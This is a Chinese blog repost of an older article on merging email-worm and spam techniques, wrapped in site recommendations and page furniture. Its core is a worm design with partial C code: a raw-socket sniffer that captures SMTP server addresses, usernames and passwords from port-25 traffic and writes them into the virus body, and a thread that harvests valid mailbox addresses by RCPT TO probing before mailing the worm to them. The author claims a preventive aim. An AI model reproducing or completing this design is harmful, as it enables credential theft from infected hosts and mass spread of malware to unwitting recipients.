邮件蠕虫与垃圾邮件技术的融合

恶意软件演变史:从蠕虫到勒索软件的技术原理与防御实战 恶意软件是网络安全领域的核心威胁之一,其发展历程深刻反映了攻防技术的演进。从早期利用系统漏洞自动传播的蠕虫,到如今结合社会工程学与高级加密技术的勒索软件,恶意软件的核心原理始终围绕着感染传播、持久化隐藏、命令控制和破坏窃取等关键技术环节。理解这些基础技术概念,对于构建有效的安全防御体系至关重要。在工程实践中,防御已从单一杀毒转向覆盖终端防护、网络隔离、威胁检测与应急响应的多层体系。特别是面对勒索软件等现代威胁,遵循数据备份的“3-2-1”法则、实施最小权限原则和开展安全意识培训,已成为企业及个人必备的防护策 阅读详情
邮件蠕虫与垃圾邮件技术的融合
            文/pkxp(CVC)
背景
病毒,DDOS,垃圾邮件已经成为当今网络安全的三大技术难题。反垃圾邮件之所以如此困难,是因为(E)SMTP协议本身的缺陷。正如DDOS,是利用TCP/IP协议固有的缺陷一样。需要说明的是,邮件蠕虫为了传播自身而发送的邮件,也属于垃圾邮件的一种。
2003年出现的Sobig蠕虫使垃圾邮件的数量大为增加,许多安全专家认为Sobig使用了垃圾邮件技术并预言:蠕虫技术和垃圾邮件技术的融合将是未来的发展趋势。其实,这种说法虽然正确但不准确,不错,Sobig发送的邮件确实属于垃圾邮件,可是I LOVE YOU,HappyTime病毒发送的邮件又何尝不是?只不过Sobig发送两份相同邮件的频率高,所以截获的传播数量才特别大,但真正的感染数量并不大,Sobig在技术上并未采用垃圾邮件技术。
本文将在分析邮件蠕虫和垃圾邮件关键技术的基础上,提出利用垃圾邮件技术传播蠕虫的思想。当然,这并不是为了传播蠕虫,而是为了更好的预防未来可能出现的这类蠕虫。本文假设读者已经具备了(E)SMTP协议,蠕虫,垃圾邮件方面的知识。

邮件蠕虫的局限与解决方法
邮件蠕虫面临的3个主要问题:一是邮件地址搜集,二是服务器地址来源,三是如何使附件尽可能多地获得执行机会。本文只讨论前两点:
一. 邮件地址搜集
现在流行并被广被使用的搜集方式有两种:
Ø从wab文件获得
从regedit获得wab文件路径,然后分析已知格式的wab文件,读取其中的地址。
Ø从*.ht,*.htm,*.html,*.txt,*.dbx,*.eml等文件获得
可以遍历Internet临时目录或遍历硬盘,从上述扩展名的文件中寻找地址。方法和垃
圾邮件搜索html页面类似,都是寻找mailto和@,作为合法email地址的标志。
第一种方法收集到的地址可信度比较高,点击率也会比较高;第二种方法如果地址选择算法严谨,那么找到的地址基本上都是合法的Email地址,但可信度较低。两种方法搜集到的地址数量都相当有限,成为蠕虫传播的制约条件之一。后文将会提到解决方案。
二.邮件服务器地址和帐号密码的来源
当前,几乎所有蠕虫都把一个或几个服务器的ip地址硬编码在文件体内,这样,一旦
邮件服务器不可用,蠕虫也就停止了传播,而且,由于网络安全策略的限制,许多感染蠕虫的主机都无法和这些指定的服务器连接,从而影响了蠕虫的传播速度。这里提出一种新的方法来获得大量可靠的SMTP Server,帐户,密码信息。
在Win2K平台上,我们可以利用WinSock 2的特性,它允许程序使用WSAIoctl( )给一
个SOCK_RAW类型的socket设置SIO_RCVALL属性,这样该socket就可以收到所有经过本机的数据,这是一种无需编写驱动的简易Sniffer。
许多聪明的读者已经想到下一步的工作了,是的,利用原始套接字捕包,原则如下:
Ø目的端口等于25。
Ø从SYN包开始记录,这是客户端和SMTP Server正在连接。
Ø根据HELO或EHLO来判断服务器是否需要认证。
Ø如果是EHLO,捕获后续的用户名和密码
Ø根据MAIL FROM: 得到发件人
Ø抛弃蠕虫自身向25端口发送的报文。
Ø如果捕获的数据发生错误的次数超过上限,抛弃当前的服务器,恢复到初始状态
为方便起见,可以定义SMTPSERVINFO结构体来保存服务器信息。
  typedef struct tagSmtpServerInfo {
DWORD   dwCredit;       //此服务器信息的可信度,根据发信成败增减
    BOOL     bAuth;       //服务器是否需要认证
in_addr     dwServerIP;     //邮件服务器的IP
char       szUserName[32];   //用户名
char       szPassWord[32];   //口令
char       szMailFrom[32];   //发件人
} SMTPSERVINFO;
下面的CaptureThread函数是捕包线程,工作方式和原则如上所述,为了节约篇幅,将初始化和判断成功的代码省略。
DWORD WINAPI CaptureThread ( LPVOID p )
{
WSAIoctl(CaptureSocket, SIO_RCVALL, &lpvBuffer, … , NULL); //设置为捕获所有报文
while( TRUE )
{
memset( buf , 0 , sizeof(buf) ) ;
iRet = recv( CaptureSocket , buf , sizeof( buf ) , 0 ) ;
pIpHeader = (IPHEADER *)buf ;
  if(IsExistIP(pIpHeader->destIP) || pIpHeader->dPort!=::htons(25)) //不是蠕虫自身所发
continue;
if((pIpHeader->th_flag & SYN) == SYN)   //是和服务器开始握手吗?
{
bNewUser = TRUE;             //又有新用户发信了,开始记录
iStatus=0;
dwFailCount=0;
}
if(bNewUser==FALSE)
continue;
pBuf= (char *)buf + sizeof(IPHEADER)+sizeof(TCPHEADER);
switch(iStatus)
{
case 0:                         //握手状态
{
m_pSmtpServInfo = new SMTPSERVINFO;
m_pSmtpServInfo->dwCredit=3;//初始可信度为3
    m_pSmtpServInfo->dwServerIP.S_un.S_addr =pIpHeader->destIP; //获得了ip
    iStatus++;
  break;
}
  case 1:
{
if(::strstr(pBuf,"HELO"))   //匿名smtp server
{
m_pSmtpServInfo->bAuth=FALSE;
            m_pSmtpServInfo->szUserName[0]=NULL;
m_pSmtpServInfo->szPassWord[0]=NULL;
iStatus=5;             //2(user),3(pass)跳过了
}
  if(::strstr(pBuf,"EHLO"))           //服务器需要认证
{
m_pSmtpServInfo->bAuth=TRUE;
    iStatus=2;     //准备捕捉用户名和密码
}
break;
}
case 2:                   //开始收藏帐户和密码
{
if(::strstr(pBuf,"AUTH"))
iStatus=3;
break;
}
case 3:
{
  lstrcpyn(m_pSmtpServInfo->szUserName,pBuf,::strstr(pBuf,"/r/n")-pBuf+1);
  iStatus=4;
  break;
}
case 4:
{           ::lstrcpyn(m_pSmtpServInfo->szPassWord,pBuf,::strstr(pBuf,"/r/n")-pBuf+1);   iStatus=5;
    break;
}
case 5:
    {
  …
    ::lstrcpyn(m_pSmtpServInfo->szMailFrom,…);
    PostThreadMessage(::gMainThread,…, m_pSmtpServInfo); //通知主线程
bNewUser=FALSE;           //不必再捕捉25包了,除非有新的握手信息
iStatus=0;                 //恢复为初始状态。
  …
主线程负责将此服务器信息写入病毒体,并对病毒体重新编码,使得再次发送的附件包含最新信息;同时,主线程还会启动一个新的邮件地址探测线程,连接此服务器,获得尽量多的此服务器的帐户并向其发送自身。如何获得帐户将在下文说明。
至此,我们完成了邮件服务器和帐户信息的获取工作,蠕虫每到一处,都会搜集最新的服务器信息,搜集到的信息基本都是网络可达的,因为涉及的到服务器数量极多,范围极广,所以封杀服务器或者帐户是不可能的,这些都是Sniffer捕包获得服务器的优势所在。

垃圾邮件的关键技术
垃圾邮件的详细技术不在本文讨论范围之内,但为了说明问题,必须要有简要的说明,一般来说,垃圾邮件必须解决的两个问题是:
1.发送方式的选择:
Ø利用SMTP 协议无须认证的缺点
Ø利用Open Relay (开放转发)
Open Relay是指由于邮件服务器不理会邮件发送者或邮件接受者的是否为系统所设定的用户,而对所有的入站邮件一律进行转发(Relay)的功能。
Ø特快专递法
特快专递就是利用本机充当发件服务器的功能,由DNS解析出收件服务器的IP地址,然后将本机直接与收件服务器的相连,将邮件直接发送到收件人的收件服务器上。Foxmail的”特快专递”就是这个原理。现在,特快专递已经逐渐失效,安全级别高的Smtp Server不允许非Smtp Server直接发送,避免被Spammer利用。
Ø自建SMTP服务器
Spammer自己建立SMTP服务器,直接和目标服务器连接,发送邮件。这种情况不需要匿名服务器和转发服务器的帮助。目标服务器没有理由拒绝来自一台邮件服务器的请求,所以原理上总能保证发信成功,缺点是必须申请域名,且必须频繁更换ip和域名,因为很快会被列入黑名单。
由上可见,垃圾邮件的发送技术不适合蠕虫使用,原因是利用上面的方法,Spammer只要找到一个SMTP Server就可以发送数以百万计的邮件了, 一个地址失效后可以人为地更换,而蠕虫则不同,必须自力更生,如上所述的Sniffer就是解决途径。
2.邮件地址的获得
ØVRFY指令
该指令的作用是验证一个用户是否是本地用户:是,则返回完整的地址;否,则根据SMTP的设置回应。Spammer利用这个命令配合字典穷举用户名来收集有效的邮件地址。在新版本的SMTP软件中,这个指令已被禁用,但未取消。
ØEXPN指令
该指令用来向服务器查询邮件列表,成功则返回列表,每行一个地址。此指令在新版本的SMTP软件中也被禁用。
Ø分析网页
Spammer通过搜索引擎如Google,Yahoo等,获得url,将网页下载到本地后,通过匹配关键字”mail to:”和”@”来收集地址。这种方法应用很广泛,因为有效并且上面两种方法已不可用。但是现在已经有应对措施,比如用<at>代替@。
Ø虚拟发信法
Spammer通过正规的步骤连接Smtp Server,然后发送HELO(EHLO),MAIL FROM成功后,再发送Rcpt To : <str>,如果得到正确的回应,则收录str,做为合法的邮件地址,然后读取下一个str,再次做Rcpt to尝试,直到发生错误或遍历了所有字符串为止。这种方法的优点在于,在Rcpt to之前发送的命令都是合理的,所有SMTP服务器都不能拒绝Rcpt To,正如所有Web Server都不能拒绝SYN包一样。
关键就在于此了,前面提到邮件蠕虫搜集地址数量的局限,我们可以采用虚拟发信法
来解决。形象地描述如下:
客户:   Connect(Smtp Server)
服务器:220 smtp.263.net ESMTP ,连接成功
客户:HELO localhost             EHLO localhost
服务器:250-smtp.263.net
          250-PIPELINING
…
  250-AUTH LOGIN
客户:AUTH LOGIN/r/n
服务器:334…
客户:用户名的base64编码
服务器回送:334…
客户:密码的base64编码
服务器:235 Authentication successful
客户: MAIL FROM: < username@263.net>/r/n
服务器:250 Ok
客户: RCPT TO: <str>/r/n
服务器回送:
Ø250 , str为合法帐户。
Ø550, invalid user。
Ø522, too many rcpto。
客户:DATA/r/n
…
前文已经实现了用Sniffer方法获得邮件服务器和帐户信息,并由bAuth字段标志是否需要认证,现在就可以利用SMTPSERVINFO来连接服务器,探测合法帐户了。还有一个问题,就是str的来源,我们选择从本地文件获得的方法,原则如下:
Ø遍历硬盘,搜索以txt,ht*,doc,eml,ini等为扩展名的文件。
Ø找到一个word,加入 m_WordList列表。
Ø按照合法邮件地址的规则,找到一个email,加入m_EmailList列表,发送邮件线
程会直接读取m_EmailList列表并发送邮件。
Ø邮件地址探测线程(EmailSpamer)读取m_WordList列表,验证是否为合法帐户,是
则加入到m_EmailLsit。
Øm_Wordlist和m_EmailList都要保持一定的数量且记录互斥,以减小向同一E-Mail
地址发送多次邮件的可能性。
现在获得了大量的str,可以根据(E)SMTP协议探测了,探测线程EmailSpamer如下:
while(TRUE)
{
m_Smtp.TalkWithSmtpServer();
  do
  {
  int iRet = m_Smtp.SendRcptTo(szRcptTo); //szRcptTo来自m_WordList
  if(iRet==250)           //代表成功,确实有这个帐户
    ::m_EMailList->Add(szRcptTo);
else if(iRet==550)         //帐户错误,休眠一会,避免被封
  Sleep(100);
else                 //错误,断开连接,重新探测
break;
}while(::m_WordList->GetCount());
…
至此,我们的思路已经十分清晰:
蠕虫运行后,首先启动文件遍历线程,从文件中获得大量的单词,加入m_WordList,同时把从文件中获得的邮件地址加入m_EmailList。地址探测线程先利用病毒体内已有的服务器信息开始探测,单词取自m_WordList, 对于验证成功的word,将此word+服务器域名构成 word@xxx.yyy的形式后加入m_EmailList。发送邮件线程不断读取m_EmailList发送邮件。 监听线程捕获并分析网络报文,补充新的服务器资源,并写入病毒体。这样,源源不断的邮件地址就会应接不暇,蠕虫得以大面积扩散。
需要说明的是,大的邮件服务提供商通常有好的anti-spam特性,如果rcpt to错误次数达到一个上限,那么此帐户就会被停用一段时间。但是,规模越大,注册的帐户也就越多,随机找个单词,基本上都是合法帐户。对于小型的邮件服务提供者,安全性很差,对rcpt to次数根本没有限制。归根结底,不管被封与否,在此之前都已经发现了数目可观的邮件地址,并向这些地址发送了蠕虫。
结束语
网络安全的问题只有当所有的计算机用户都成为安全专家时才有可能得到彻底解决,事实上,这是不可能的,而且我们也不能依赖或等待全民计算机水平的提高。目前可以做的,并且各国一直在努力做的,就是加快反垃圾邮件的立法和规范邮件提供商的服务。中国反垃圾邮件协会今年采取了一系列有力措施,包括两次公布垃圾邮件服务器黑名单,制定邮件服务规范,推动垃圾邮件立法等,这些虽不能完全遏制融合垃圾邮件技术的蠕虫,但具有一定的制约效果。 
病毒、蠕虫、木马:三大恶意软件核心机制与防御实战指南 恶意软件是网络安全领域的基础威胁,其核心原理在于通过不同机制入侵系统。病毒依赖宿主文件传播并执行破坏,蠕虫则利用网络漏洞自主复制以耗尽资源,木马通过伪装诱骗用户执行以实现远程控制。理解这些原理对于构建有效防御体系具有重要技术价值,尤其在应对勒索软件、僵尸网络等复合威胁时。在应用场景上,个人用户需从安全习惯、工具部署和应急响应三个层面建立纵深防御。例如,针对蠕虫的主动传播特性,可以部署类似火绒安全自定义规则的防护策略,监控异常网络行为;而防范木马则需警惕伪装成正常软件的php木马文件,避免从非官方渠道下载程序 阅读详情

相关推荐

17、多传感器融合与垃圾邮件过滤技术解析

本文探讨了多传感器融合中的消息交换机制及其在入侵检测系统中的应用,同时介绍了一种基于Kolmogorov复杂度和支持向量机的新型垃圾邮件过滤技术。消息交换机制通过安全空间实现多源数据的高效聚合与分析,而垃圾邮件过滤方法则通过测量信息内容实现高准确率的邮件分类。两者为网络安全和信息处理领域提供了新的解决方案,并具有广阔的应用前景。

kubernetes8ctl的博客 60

在dephi中有Exclude,Include函数,在BCB中使用什么代替啊? 及 TGIFImage 消除闪烁

http://topic.youkuaiyun.com/t/20050203/09/3772401.html 在dephi中有Exclude,Include函数,在BCB中使用什么代替啊?我就是在BCB中想把Options项能添加或删除一种属性,我知道可 以这样实现:   StringGrid-&gt; Options=TGridOptions()&gt; &gt; goFixedVertLine,goFi...

weixin_34396902的博客 615

69、网络安全检测技术:入侵与邮件垃圾邮件防范

本文探讨了网络安全检测技术,包括基于规则遗传算法的异常入侵检测系统和混合学习方法的电子邮件垃圾邮件检测与分类。入侵检测系统利用UNSW NB15数据集和遗传算法生成规则,通过分类器识别攻击行为,并采用集成方法提高检测准确性。邮件垃圾邮件检测则结合深度学习和机器学习模型,通过分析文本、URL和消息ID三个特征,提升垃圾邮件识别能力。文章还回顾了相关研究工作,总结了机器学习和深度学习在网络安全检测中的应用成果,并对未来发展方向进行了展望。

dropout6artist的博客 94

Delphi常用系统函数总结

字符串处理函数 Unit System 函数原型 function Concat(s1 [, s2,..., sn]: string): string; 说明 与 S := S1 + S2 + S3 ...; 相同. 将字符串相加. 函数原型 function Copy(S: string; Index, Count: Integer): string;说明 S : 字符串. Ind

what_is_Delphi的专栏 938

69、网络安全防护:入侵检测与邮件反垃圾技术解析

本文探讨了网络安全领域的两大关键技术:基于规则遗传算法的异常入侵检测系统和混合学习方法的电子邮件垃圾邮件检测技术。入侵检测系统利用UNSW NB15数据集和监督学习分类器(如SVM、朴素贝叶斯和随机森林)实现对多种网络攻击的识别,并通过准确率、检测率和误报率评估性能。电子邮件反垃圾技术则结合深度学习(如LSTM)和机器学习(如随机森林、多项朴素贝叶斯)对邮件内容、URL和邮件ID进行综合分析,提升垃圾邮件识别的准确性。文章还对比了两种技术的应用场景与评估指标,提出了未来发展趋势与挑战,为网络安全防护提供了全

sugar的博客 119

9、蜜罐在网络攻击防御中的应用与策略

本文深入探讨了蜜罐技术在网络安全防御中的关键作用,重点分析了其在病毒攻击、垃圾邮件和网络钓鱼等威胁场景下的应用策略。通过治愈中心(Healing Hubs)、隔离网络(QNET)架构和HoneySpam架构等创新实践,蜜罐技术展现了在检测、分析和阻断攻击方面的强大能力。文章还展望了蜜罐技术的未来发展趋势,包括智能化、云化、分布式架构以及行业定制化方向,为构建更安全的网络环境提供了重要参考。

kk1234的博客 171

Delphi 命令行编译指南

Delphi 命令行编译指南

敦格 3915

10、电子邮件行为分析与EMT工具应用

本文介绍了基于行为的检测方法在电子邮件安全中的应用,重点分析了“电子邮件挖掘工具包”(EMT)的功能和实际应用。EMT通过附件分析、邮件内容分类和用户行为统计等手段,提供了一套完整的电子邮件安全监控和情报分析解决方案。结合实际案例,展示了EMT在欺诈检测和恶意邮件识别中的有效性,并展望了其未来在人工智能、多源数据融合等方面的发展方向。

125

delphi函数参考手册

delphi函数参考手册----------------------------------------------------------------------------------abort 函数 引起放弃的意外处理 abs 函数 绝对值函数 addexitproc 函数 将一过程添加到运行时库的结束过程表中 addr 函数 返回指定对象的地址 adjustlinebreaks 函数 将给

ahlian的专栏 1247

SAP PP工艺路线Routing保姆级配置指南:从CA01创建到替代/并行顺序实战

本文详细解析SAP PP模块中工艺路线(Routing)的配置与应用,从基础创建(CA01)到高级功能如替代顺序和并行顺序的实战操作。通过真实案例演示,帮助用户掌握SAP PP工艺路线的精细化管理,提升生产流程效率。

weixin_30898555的博客 389

Brim与ZUI协同安装指南:从下载到流量分析实战

本文提供Brim与ZUI协同安装与实战指南,详细讲解从下载、环境变量配置到流量分析的全流程。通过将PCAP文件转换为ZNG格式,结合直观的Zed查询语言,这套组合能极大提升大型网络数据包的分析效率,是网络安全与运维人员进行高效流量分析的利器。

metal的博客 461

你的邮箱被“钓鱼”了吗?U-Mail邮件网关助你安全无忧

同时通过邮件指纹过滤、叶斯过滤技术、关键字过滤、URL过滤技术等先进的内容过滤技术,对收取到的邮件进行层层过滤,使得垃圾邮件和钓鱼邮件难以进入系统,同时,基于U-Mail庞大的垃圾邮件及病毒数据库,能够实时侦测提取最新的垃圾和病毒邮件变种,定期同步至垃圾邮件及病毒数据库,实现实时更新,可抵御最新的垃圾邮件和病毒邮件,有效保障U-Mail邮件网关的过滤效果。目前,有效防范钓鱼邮件攻击的方法是在企业邮箱系统前部署一套专业的防垃圾邮件网关系,可以显著提高企业邮箱系统防垃圾邮件、钓鱼邮件的能力。

U-Mail邮件服务器软件 668

用gm/Id方法设计简单折叠式共源共栅放大器

gm/Id

qq_45541367的博客 2万+

网络安全理论与技术概述-带你了解网络安全

1. 网络安全概述 2. 网络安全发展 3. 网络安全主要研究内容 4. 常见网络攻击技术

EverdayForCode的博客 2750

SOI技术实战:从晶圆结构到芯片性能提升的完整解析

本文深入解析SOI(Silicon on Insulator)技术如何通过独特的三明治晶圆结构提升芯片性能,涵盖从220nm SOI层设计到7nm节点的工艺挑战。详细探讨了埋氧层的绝缘优势、性能提升的物理机制,以及AMD处理器和5G射频中的实战应用,为半导体行业提供关键技术洞见。

wdx0123456的博客 962

从‘查理复用’到TM52F1363:深入剖析5脚188数码管的驱动原理与避坑指南

本文深入解析了5脚188数码管的驱动原理,重点介绍了查理复用技术如何通过5个IO引脚高效驱动188段显示,并详细探讨了TM52F1363单片机的寄存器配置与驱动实现。文章还提供了常见问题的解决方案和性能优化技巧,帮助开发者避免实际应用中的各种陷阱。

weixin_29159441的博客 481

天清汉马UTM为陕西电子政务安全保驾护航

天清汉马UTM为陕西电子政务安全保驾护航[@more@]明星辰公司近期宣布其天清汉马一体化安全网关(UTM)已经成功应用于陕西省电子政务网,帮助电子政务网防护病毒、蠕虫、垃圾邮件等恶意威胁,保障电子政务网的安全运行。 陕西省电子...

ciqian8430的博客 149

手把手教你用CANopen SDO报文控制步进电机(附CIA402协议详解)

本文详细解析了如何通过CANopen SDO报文控制步进电机,深入讲解CIA402协议的核心架构、状态机模型及对象字典管理,并提供实战代码示例。从SDO报文构造到多轴同步控制,帮助开发者掌握工业级步进电机的精确控制技术,适用于自动化设备开发。

weixin_33737774的博客 487

ZUCC计算机网络 网络安全

1.以下关于网络安全的描述中错误的是________。 编号 选项 A 网络攻击、病毒与垃圾邮件攻击方式相互融合,变种不断出现 B 利用漏洞制造病毒的速度加快 C 垃圾邮件具有自复制特征 D 病毒已经从传统的Internet向无线与P2P网络扩张 2.以下关于漏洞攻击特征的描述中错误的是________。 编号 选项 A 网络攻击者通过网络踩点等多种形式,利用网络中存在的漏洞非法访问网络 B 漏洞可以分为两类:技术漏洞与管理漏洞 C 技术漏洞是指:网络

nonlinearthink的博客 1324

IDEA出现闪退或打不开的解决方法

本身项目比较大,为了打开这个软件,可调节IDEA中安装的bin目录下有个。打开IDEA的时候过一会便闪退,可以再IDEA的右下角看到如下提示。(如果没有该提示,软件右下角也会有个红色感叹号,点开查看原因即可)闪退的多数原因大致是out of memory,内存溢出。查看任务管理器中的进程:(发现内存随时有溢出的情况)但也需要注意,该参数并不是越大越好,适中即可。只有个别原因是需要管理员权限就可执行!可以尽量减少软件的启动。

码农研究僧的博客 5945

ESP32-C3入门教程 基础篇⑩——SNTP(Simple Network Time Protocol) 网络时间同步的简单实例

ESP32-C3入门教程 基础篇⑩——SNTP(Simple Network Time Protocol) 网络时间同步的简单实例

1589
上一篇: Worm.SnowMood.4096
下一篇: MSN病毒原理及测试代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值